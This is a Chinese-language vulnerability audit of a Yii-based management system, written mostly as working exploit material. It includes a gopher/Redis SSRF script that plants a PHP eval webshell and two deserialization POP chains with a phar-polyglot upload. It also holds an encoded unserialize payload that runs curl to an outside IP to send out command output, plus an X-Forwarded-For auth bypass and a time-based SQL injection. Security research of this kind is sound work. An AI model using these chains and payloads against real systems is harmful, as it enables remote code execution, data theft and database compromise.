某大型系统代码审计

0x01 xxxx-mgr系统

看完安装流程,先从web端入手,几套系统均采用Yii二开,在此先学习一下Yii的基础知识
https://www.yiiframework.com/doc/guide/2.0/zh-cn

前台SSRF

本次审计漏洞重点放在前台/未授权上面,
center/controllers/DemoController.php下,存在一个经典的SSRF漏洞,并且带回显

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// php代理 实现get post请求  
public function actionProxy(){  
	$rs = [];  
	if(\Yii::$app->request->isPost){  
		$url = \Yii::$app->request->post('url');  
		$post_data = \Yii::$app->request->post();  
  
		$rs = $this->post($url,$post_data);  
	}elseif (\Yii::$app->request->isGet){  
		$url = \Yii::$app->request->get('url');  
  
		$rs = $this->get($url);  
	}  
  
	return $rs;  
}  
  
// get  
private function get($url){  
	//初始化  
	$ch = curl_init();  
  
	//设置选项,包括URL  
	curl_setopt($ch, CURLOPT_URL, $url);  
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
	curl_setopt($ch, CURLOPT_HEADER, 0);  
  
	//执行并获取HTML文档内容  
	$output = curl_exec($ch);  
  
	//释放curl句柄  
	curl_close($ch);  
  
	return $output;  
}  
  
// post  
private function post($url,$post_data){  
	$ch = curl_init();  
  
	curl_setopt($ch, CURLOPT_URL, $url);  
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
	// post数据  
	curl_setopt($ch, CURLOPT_POST, 1);  
	// post的变量  
	curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);  
  
	$output = curl_exec($ch);  
	curl_close($ch);  
  
	return $output;  
}  

构造请求/demo/proxy?url=file:///etc/passwd
尝试读取redis配置文件/xxxx/etc/system.conf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
online_server="127.0.0.1"  
user_server="127.0.0.1"  
auth_server="127.0.0.1"  
detail_server="127.0.0.1"  
log_server="127.0.0.1"  
dye_server="127.0.0.1"  
my_ip="127.0.0.1"  
remote_dm_ip=""  
thread_num ="4"  
redis_password="xxxxxx@redis"  
cache_server="127.0.0.1"  

通过common/config/main-local.php文件得到redis端口在16xxx-16xxx
选择一个redis端口打一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import urllib.parse  
protocol="gopher://"  
ip="127.0.0.1"  
port="16xxx"  
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"  
filename="1.php"  
path="/tmp"  
passwd="xxxx@redis"        #如果无密码就不加,如果有密码就加   
cmd=[  
	 "config set dir /tmp",  
	 "config set dbfilename success",  
	 "set 'test' 'success'",  
	 "save",  
	 "quit"  
	]  
if passwd:  
    cmd.insert(0,"AUTH {}".format(passwd))  
payload=protocol+ip+":"+port+"/_"  
def redis_format(arr):  
    CRLF="\r\n"  
    redis_arr = arr.split(" ")  
    cmd=""  
    cmd+="*"+str(len(redis_arr))  
    for x in redis_arr:  
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")  
    cmd+=CRLF  
    return cmd  
  
if __name__=="__main__":  
    for x in cmd:  
        payload += urllib.parse.quote(redis_format(x))  
    print(urllib.parse.quote(payload))  

config命令没有找到,很失败,在配置文件中看到了被禁用
版本是6.2.6也没办法主从复制Orz,但是在远程环境中部分是存在config命令的,从SSRF顺利变成了RCE

未授权任意文件下载

由于是Yii框架,所以很快的找到了不做权限验证的api
center/modules/user/controllers/GroupController.php控制器下,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
public function actionDownLoad()  
{  
	//下载文件  
	if (Yii::$app->request->get('file')) {  
		return Yii::$app->response->sendFile(Yii::$app->request->get('file'));  
  
	}  
	if (Yii::$app->session->get('batch_excel_download_file')) {  
		return Yii::$app->response->sendFile(Yii::$app->session->get('batch_excel_download_file'));  
	} else {  
		Yii::$app->getSession()->setFlash('error', Yii::t('app', 'batch excel help31'));  
	}  
	return $this->redirect(['index']);  
}  

跟进查看sendFile()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public function sendFile($filePath, $attachmentName = null, $options = [])  
{  
	if (!isset($options['mimeType'])) {  
		$options['mimeType'] = FileHelper::getMimeTypeByExtension($filePath);  
	}  
	if ($attachmentName === null) {  
		$attachmentName = basename($filePath);  
	}  
	$handle = fopen($filePath, 'rb');  
	$this->sendStreamAsFile($handle, $attachmentName, $options);  
  
	return $this;  
}  

利用fopen函数打开了传入的文件路径,无任何过滤,直接读取文件
/user/group/down-load?file=/etc/passwd
但是任意文件下载危害并不大,我们需要以RCE为目的,在这种成熟框架面前,反序列化还是有的,碰巧fopen函数也支持phar://协议可以触发phar反序列化

反序列化挖掘

Yii框架是2.0.45,这套系统加了一些vendor,同时也删除了一些Yii自带的vendor,所以只能靠我们自己挖一条链子出来,POC如下

POP Chain 1
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php   
namespace yii\base {  
    class Component {  
        private $_events = array();  
        private $_behaviors = 1;  
        public function __construct() {  
            include("./vendor/opis/closure/autoload.php");  
            $func = function(){  
                $cmd = 'touch /tmp/success';  
                system($cmd);  
            };  
            $raw = \Opis\Closure\serialize($func);  
            $data=\Opis\Closure\unserialize($raw);  
            $this->_events = ["afterOpen" => [[  
                $data,   
                "huahua"  
                ]]];  
        }  
    }  
}  
namespace yii\redis{  
    use yii\base\Component;  
    class Connection extends Component{  
        public $redisCommands = [];  
        public $hostname = '';  
        public $port;  
        public $password;  
        public $username;  
        public $connectionTimeout;  
        public $dataTimeout;  
        public $database;  
        public $unixSocket;  
        private $_socket;  
  
        public function __construct()  
        {  
            $this->redisCommands = array('CLEAN UP');  
            $this->_socket = false;  
            $this->hostname = '127.0.0.1';  
            $this->port = 8001;//能够连通的任意本地服务的端口  
            $this->unixSocket = false;  
            $this->connectionTimeout = 5;  
            parent::__construct();  
        }  
    }  
}  
namespace setasign\Fpdi\PdfReader{  
    use yii\redis\Connection;  
    class PdfReader{  
        protected $parser;  
        public function __construct(){  
        $this->parser = new Connection;  
        }  
    }  
    include("./vendor/opis/closure/autoload.php");  
    echo urlencode(\Opis\Closure\serialize(new PdfReader));  
}  
?>  
POP Chain 2
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php   
namespace yii\rest {  
    class CreateAction {  
        public $id;  
        public $checkAccess;  
        public function __construct() {  
            $this->checkAccess = 'system';  
            $this->id = "touch /tmp/success";  
        }  
  
    }  
}  
namespace yii\base {  
    use yii\rest\CreateAction;  
    class Component {  
        private $_events = array();  
        private $_behaviors = 1;  
        public function __construct() {  
            $this->_events = ["afterOpen" => [[  
                [new CreateAction,"run"],   
                "a"]]];  
        }  
    }  
}  
namespace yii\redis{  
    use yii\base\Component;  
    class Connection extends Component{  
        public $redisCommands = [];  
        public $hostname = '';  
        public $port;  
        public $password;  
        public $username;  
        public $connectionTimeout;  
        public $dataTimeout;  
        public $database;  
        public $unixSocket;  
        private $_socket;  
  
        public function __construct()  
        {  
            $this->redisCommands = array('CLEAN UP');  
            $this->_socket = false;  
            $this->hostname = '127.0.0.1';  
            $this->port = 8001;//能够连通的任意本地服务的端口  
            $this->unixSocket = false;  
            $this->connectionTimeout = 5;  
            parent::__construct();  
        }  
    }  
}  
namespace setasign\Fpdi\PdfReader{  
    use yii\redis\Connection;  
    class PdfReader{  
        protected $parser;  
        public $test;  
        public function __construct(){  
        $this->parser = new Connection;  
        }  
    }  
}  
namespace {  
    use setasign\Fpdi\PdfReader\PdfReader;  
    $clazz = new PdfReader;  
    @unlink("test.phar");  
    $p = new Phar("test.phar",0);  
    $p->startBuffering();  
    $p->setMetadata($clazz);  
    $p->setStub("GIF89a__HALT_COMPILER();");  
    $p->addFromString("huahua.txt","successful!");  
    $p->stopBuffering();  
}  
?>  

上传phar文件

center/modules/report/controllers/SystemController.php控制器下正好存在一个写图片文件的地方

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
    public function actionImageSave()  
    {  
        $post = Yii::$app->request->post();  
        $picInfo = $post['baseimg'];  
        $savingDir = 'uploads/monitor/';  
        if (!is_dir($savingDir)) {  
            mkdir($savingDir);  
        }  
  
        $streamFileRand = $savingDir.$post['sql_type'].$post['proc'].'.png'; //图片名  
        Yii::$app->session->set('filename', $streamFileRand);  
        preg_match('/(?<=base64,)[\S|\s]+/',$picInfo,$picInfoW);//处理base64文本  
        file_put_contents($streamFileRand,base64_decode($picInfoW[0]));//文件写入  
  
        return true;  
    }  

最终利用

step 1

1
2
3
POST /report/system/image-save HTTP/2  
  
baseimg=base64,R0lGODlhX19IQUxUX0NPTVBJTEVSKCk7ID8%2bDQqlAgAAAQAAABEAAAABAAAAAABtAgAATzozMzoic2V0YXNpZ25cRnBkaVxQZGZSZWFkZXJcUGRmUmVhZGVyIjoyOntzOjk6IgAqAHBhcnNlciI7TzoyMDoieWlpXHJlZGlzXENvbm5lY3Rpb24iOjEyOntzOjEzOiJyZWRpc0NvbW1hbmRzIjthOjE6e2k6MDtzOjg6IkNMRUFOIFVQIjt9czo4OiJob3N0bmFtZSI7czo5OiIxMjcuMC4wLjEiO3M6NDoicG9ydCI7aTo4MDgxO3M6ODoicGFzc3dvcmQiO047czo4OiJ1c2VybmFtZSI7TjtzOjE3OiJjb25uZWN0aW9uVGltZW91dCI7aTo1O3M6MTE6ImRhdGFUaW1lb3V0IjtOO3M6ODoiZGF0YWJhc2UiO047czoxMDoidW5peFNvY2tldCI7YjowO3M6Mjk6IgB5aWlccmVkaXNcQ29ubmVjdGlvbgBfc29ja2V0IjtiOjA7czoyNzoiAHlpaVxiYXNlXENvbXBvbmVudABfZXZlbnRzIjthOjE6e3M6OToiYWZ0ZXJPcGVuIjthOjE6e2k6MDthOjI6e2k6MDthOjI6e2k6MDtPOjIxOiJ5aWlccmVzdFxDcmVhdGVBY3Rpb24iOjI6e3M6MjoiaWQiO3M6MTg6InRvdWNoIC90bXAvc3VjY2VzcyI7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjt9aToxO3M6MzoicnVuIjt9aToxO3M6MToiYSI7fX19czozMDoiAHlpaVxiYXNlXENvbXBvbmVudABfYmVoYXZpb3JzIjtpOjE7fXM6NDoidGVzdCI7Tjt9CgAAAGh1YWh1YS50eHQLAAAAjT7YZQsAAABYYbEEpAEAAAAAAABzdWNjZXNzZnVsIeJ7cw%2bG4EYC7FkDA58zSu4gzM18AgAAAEdCTUI%3d&sql_type=hua&proc=hua  

step 2

1
/user/group/down-load?file=phar://./uploads/monitor/huahua.png  

成功利用

前台无条件RCE

既然挖到了两条链子,全局搜索unserialize函数
center/modules/strategy/controllers/IpController.php控制器下面,
存在两个方法存在unserialize()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public function actionBindIp(){  
	$data1 = unserialize(Yii::$app->request->post('data1'));  
	...  
	...  
	...  
}  
public function actionCancelBindIp(){  
	$data1 = unserialize(Yii::$app->request->post('data1'));  
	...  
	...  
	...  
}  

构造poc

1
2
3
POST /strategy/ip/bind-ip  
  
data1=O%3A33%3A%22setasign%5CFpdi%5CPdfReader%5CPdfReader%22%3A1%3A%7Bs%3A9%3A%22%00%2A%00parser%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A12%3A%7Bs%3A13%3A%22redisCommands%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22CLEAN+UP%22%3B%7Ds%3A8%3A%22hostname%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bi%3A8001%3Bs%3A8%3A%22password%22%3BN%3Bs%3A8%3A%22username%22%3BN%3Bs%3A17%3A%22connectionTimeout%22%3Bi%3A5%3Bs%3A11%3A%22dataTimeout%22%3BN%3Bs%3A8%3A%22database%22%3BN%3Bs%3A10%3A%22unixSocket%22%3Bb%3A0%3Bs%3A29%3A%22%00yii%5Credis%5CConnection%00_socket%22%3Bb%3A0%3Bs%3A27%3A%22%00yii%5Cbase%5CComponent%00_events%22%3Ba%3A1%3A%7Bs%3A9%3A%22afterOpen%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A275%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A127%3A%22function%28%29%7B%0A++++++++++++++++%24cmd+%3D+%27curl+http%3A%2F%2F124.220.215.8%3A1234%2F%3Fcmd%3D%60whoami%60%27%3B%0A++++++++++++++++%5Csystem%28%24cmd%29%3B%0A++++++++++++%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A18%3A%22yii%5Cbase%5CComponent%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%220000000053bc12be000000004d2c46e6%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22huahua%22%3B%7D%7D%7Ds%3A30%3A%22%00yii%5Cbase%5CComponent%00_behaviors%22%3Bi%3A1%3B%7D%7D  

成功RCE

API接口

0x00 SQL注入

先来看一下如何做的权限验证

1
2
3
'authenticator' => [  
	'class' => \common\extend\ApiAuth::className(),  
],  

跟进ApiAuth

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public function authenticate($user, $request, $response)  
    {  
  
        // 如果是从 v2 过来的,就不要重复验证  
        if (substr($request->pathInfo, 0, 7) === 'api/v2/') {  
            return true;  
        }  
  
          
        $this->access_token = $this->findParams($request, $this->tokenParam);  
          
        $url = $this->findParams($request);  
          
        $ip = $request->getUserIP();  
  
          
        $this->validateAccessToken($ip, $url);  
  
          
        $this->validateRemoteAddress($ip, $url);  
  
          
        if ($this->validateAction($url, $ip)) {  
            return true;  
        }  
  
        throw new UnauthorizedHttpException(\Yii::t('app', 204010), 20401);  
    }  

先绕过第一个点validateAccessToken

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public function validateAccessToken($ip, $url)  
    {  
        //去缓存内先验证一下令牌是否有缓存,如果没有则去mysql表内查询  
        if (!Yii::$app->cache->get($this->access_token)) {  
  
            //如果url是查询令牌接口,则根据请求ip来进查询数据  
            if ($url == '/api/v8/auth/get-access-token') {  
                //按着ip精准查询  
                $tokenResource = IpBindingToken::find()->where(['ip' => $ip])->asArray()->all();  
                //如果没查询到数据, 可能是授权的ip段 比如 192.168.1.100-192.168.1.105  
                if (!$tokenResource) {  
                    $tmp_ip = explode('.', $ip);  
                    unset($tmp_ip[3]);  
                    //根据ip前三位来查询数据 是一个二维数组  
                    $tokenResource = IpBindingToken::find()->filterWhere(['like', 'ip', implode('.', $tmp_ip)])->asArray()->all();  
                }  
  
                //如果没查询到数据,返回机器未授权  
                if (!$tokenResource) {  
                    throw new UnauthorizedHttpException(Yii::t('app', 204013), 20401);  
                }  
  
                //如果是多个数组,那么这一步就必须要匹配到ip相对应的数据了  
                foreach ($tokenResource as $item) {  
                    //解析mysql存储的ip列数据,返回boolean  
                    $ipParseResult = $this->parseIp($ip, $item['ip']);  
                    //判断用户ip是否在ipMap数组内  
                    if ($ipParseResult) {  
                        $this->access_token = $item['token'];  
                        Yii::$app->cache->add($this->access_token, $item);  
                        break;  
                    }  
                }  
  
                //如果未能匹配到数据, 返回机器未授权错误  
                if ($this->access_token == $ip) {  
                    throw new UnauthorizedHttpException(Yii::t('app', 204013), 20401);  
                }  
            } else {  
                //其他请求均以令牌为查询条件  
                $tokenResource = IpBindingToken::findOne(['token' => $this->access_token]);  
                if (!$tokenResource) {  
                    //返回令牌错误  
                    throw new UnauthorizedHttpException(Yii::t('app', 204012), 20401);  
                }  
  
                Yii::$app->cache->add($this->access_token, $tokenResource->attributes);  
            }  
        }  
    }  

接收传入的参数access_token并且和数据库中的作对比,在/api/v8/auth/get-access-token中可以获取token,在请求时加上X-Forwarded-For: 127.0.0.1即可
第二个点validateRemoteAddress,这里没什么好说的,请求时加上X-Forwarded-For: 127.0.0.1和上面的access_token相匹配即可
绕过权限验证后,再来看控制器
rest/versions/api/immu/controllers/QueryController.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public function actionIndex()  
    {  
        $params = Yii::$app->request->get();  
        $userName = @$params['user_name'];  
        //$findUser = "select user_name from `user` where user_name='$userName'";  
        $findRes = $this->getUser($userName);  
        if (!$findRes) {  
            return Common::info(10002);  
        }  
        $time = @$params['time'];  
        $timeNow = date('Ym',time());  
        if ($time == $timeNow){  
            //查mysql总和加redis在线total  
            //查在线表总流量  
            $tableName = 'srun_detail';  
            $sql = "select `rad_online_id` from `online_radius` where `user_name`='$userName'";  
            $details = Yii::$app->db->createCommand($sql)->queryOne();  
            if (!$details){  
                $onlineBytes = 0;  
            }else{  
                $hash = Redis::executeCommand('hGetAll', 'hash:rad_online:' . $details['rad_online_id'], [], 'redis_online');  
                if ($hash) {  
                    $onlineData = Redis::hashToArray($hash);  
                    $onlineBytes = $onlineData['bytes_in'] + $onlineData['bytes_out'];  
                }else{  
                    $onlineBytes = 0;  
                }  
  
            }  
        }else{  
            $tableName = sprintf('srun_detail%s%s',"_",$time);  
            $onlineBytes = 0;  
        }  
        $sql = "select SUM(`total_bytes`) as `mysql_bytes` from `$tableName` where `user_name`='$userName'";  
        $mysqlData = Yii::$app->db->createCommand($sql)->queryOne();  
        $allBytes = $mysqlData['mysql_bytes'];  
        $allBytes = $allBytes + $onlineBytes;  
        $result['total_bytes'] = sprintf("%.2f",$allBytes/(1024**3));  
        $result['code'] = 'E00';  
        $result['msg'] = '成功';  
        return $result;  
    }  

在这里,直接做了拼接并且执行

1
2
$sql = "select SUM(`total_bytes`) as `mysql_bytes` from `$tableName` where `user_name`='$userName'";  
$mysqlData = Yii::$app->db->createCommand($sql)->queryOne();  

构造payload

1
2
3
GET /api/immu/query?access_token=FPFBWAk5llPf3Phd5drTiez9Uks1749J&user_name=test002&time=mobile_day`+where+user_name='test001'+union+select+1+and(select+sleep(3))%23 HTTP/2  
Host: 192.168.0.105:8001  
X-Forwarded-For: 127.0.0.1  

0%